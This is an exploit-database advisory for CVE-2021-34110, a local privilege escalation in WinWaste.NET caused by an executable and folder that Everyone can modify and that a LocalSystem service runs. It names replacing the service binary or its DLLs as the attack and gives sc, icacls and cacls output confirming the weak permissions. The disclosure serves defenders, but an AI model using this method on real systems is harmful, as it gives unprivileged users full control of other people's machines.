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WinWaste.NET 1.0.6183.16475 Local Privilege Escalation Vulnerability

🗓️ 01 Jul 2021 00:00:00Reported by Andrea IntilangeloType 
zdt
 zdt
🔗 0day.today👁 85 Views

WinWaste.NET 1.0.6183.16475 Local Privilege Escalation Vulnerability caused by incorrect access control

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Rows per page
# Exploit Title: WinWaste.NET - Privilege Escalation due Incorrect Access Control
# Author: Andrea Intilangelo
# Vendor Homepage: http://nica.it - http://winwastenet.com
# Version: 1.0.6183.16475
# Tested on: Windows 10 Pro x64 - 20H2 and 21H1
# CVE: CVE-2021-34110

WinWaste.NET version 1.0.6183.16475 (from Nica s.r.l., a Zucchetti Group company) allows a local unprivileged user to replace the executable with a malicious file that will be executed with "LocalSystem" privileges.

(1) Affected service's executable: "C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe"

(2) Attack Vectors: replacing the WinWasteService.exe and/or any tied .dll used by the software.

(3) Details:

C:\Users\user>sc qc winwasteservice
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: winwasteservice
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : "C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe"
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : WinwasteService
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem


C:\Users\user>icacls "C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe"
C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe Everyone:(I)(M)
                                                          NT AUTHORITY\SYSTEM:(I)(F)
                                                          BUILTIN\Administrators:(I)(F)
                                                          BUILTIN\Users:(I)(RX)
                                                          AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(RX)
                                                          AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(RX)

Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file

C:\Users\user>cacls "C:\Program Files (x86)\WW.NET\WW.PROG\WinWasteService.exe"
C:\Program Files (x86)\WW.NET\WW.PROG\WINWASTESERVICE.EXE Everyone:(ID)C
                                                          NT AUTHORITY\SYSTEM:(ID)F
                                                          BUILTIN\Administrators:(ID)F
                                                          BUILTIN\Users:(ID)R
                                                          AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(ID)R
                                                          AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(ID)R

C:\Users\user>icacls "C:\Program Files (x86)\WW.NET\WW.PROG"
C:\Program Files (x86)\WW.NET\WW.PROG Everyone:(I)(OI)(CI)(M)
                                      NT SERVICE\TrustedInstaller:(I)(F)
                                      NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                      NT AUTHORITY\SYSTEM:(I)(F)
                                      NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                      BUILTIN\Administrators:(I)(F)
                                      BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                      BUILTIN\Users:(I)(RX)
                                      BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                      CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                      AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(RX)
                                      AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(OI)(CI)(IO)(GR,GE)
                                      AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(RX)
                                      AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(OI)(CI)(IO)(GR,GE)

Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file


C:\Users\user>cacls "C:\Program Files (x86)\WW.NET\WW.PROG\"
C:\Program Files (x86)\WW.NET\WW.PROG Everyone:(OI)(CI)(ID)C
                                      NT SERVICE\TrustedInstaller:(ID)F
                                      NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
                                      NT AUTHORITY\SYSTEM:(ID)F
                                      NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
                                      BUILTIN\Administrators:(ID)F
                                      BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
                                      BUILTIN\Users:(ID)R
                                      BUILTIN\Users:(OI)(CI)(IO)(ID)(accesso speciale:)
                                                                    GENERIC_READ
                                                                    GENERIC_EXECUTE

                                      CREATOR OWNER:(OI)(CI)(IO)(ID)F
                                      AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(ID)R
                                      AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(OI)(CI)(IO)(ID)(accesso speciale:)
                                                                                                                     GENERIC_READ
                                                                                                                     GENERIC_EXECUTE

                                      AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(ID)R
                                      AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(OI)(CI)(IO)(ID)(accesso speciale:)
                                                                                                                                     GENERIC_READ
                                                                                                                                     GENERIC_EXECUTE

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